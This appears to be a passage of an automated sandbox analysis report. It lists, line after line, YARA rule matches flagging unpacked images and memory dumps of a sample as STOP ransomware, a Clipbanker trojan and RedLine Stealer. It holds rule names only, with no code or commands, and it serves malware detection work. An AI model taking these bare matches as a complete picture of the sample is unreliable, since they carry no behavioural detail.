Source: 9.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 3.2.U59WtZz2Sg.exe.21e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 3.2.U59WtZz2Sg.exe.21e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.0.U59WtZz2Sg.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.2.U59WtZz2Sg.exe.22315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.2.U59WtZz2Sg.exe.22315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.0.U59WtZz2Sg.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.0.U59WtZz2Sg.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 14.0.mstsca.exe.ee0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 14.0.mstsca.exe.ee0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 1.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 14.2.mstsca.exe.ee0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 14.2.mstsca.exe.ee0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 5.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.U59WtZz2Sg.exe.22815a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.2.U59WtZz2Sg.exe.22815a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.U59WtZz2Sg.exe.22215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.U59WtZz2Sg.exe.22215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.0.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.0.U59WtZz2Sg.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.U59WtZz2Sg.exe.21a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.U59WtZz2Sg.exe.21a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.U59WtZz2Sg.exe.21a15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.U59WtZz2Sg.exe.21a15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.0.U59WtZz2Sg.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.U59WtZz2Sg.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.0.U59WtZz2Sg.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.build3.exe.b90000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 11.2.build3.exe.b90000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 9.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.U59WtZz2Sg.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.U59WtZz2Sg.exe.22815a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.2.U59WtZz2Sg.exe.22815a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.2.U59WtZz2Sg.exe.22315a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.2.U59WtZz2Sg.exe.22315a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.0.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.0.U59WtZz2Sg.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.0.build3.exe.b90000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 11.0.build3.exe.b90000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 6.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.0.U59WtZz2Sg.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.0.U59WtZz2Sg.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 3.2.U59WtZz2Sg.exe.21e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 3.2.U59WtZz2Sg.exe.21e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.U59WtZz2Sg.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.0.U59WtZz2Sg.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.U59WtZz2Sg.exe.22215a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.U59WtZz2Sg.exe.22215a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.U59WtZz2Sg.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.U59WtZz2Sg.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.0.U59WtZz2Sg.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.0.U59WtZz2Sg.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000011.00000000.367371233.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000011.00000000.367371233.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000000.343989029.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000007.00000002.350733876.0000000002105000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000005.00000000.317450025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000005.00000000.317450025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000000.345862911.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000009.00000000.345862911.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000005.00000002.564528734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000005.00000002.564528734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.305141359.0000000002220000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000006.00000000.323219375.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000006.00000000.323219375.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000000.344652371.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000009.00000000.344652371.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000006.00000000.324169163.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
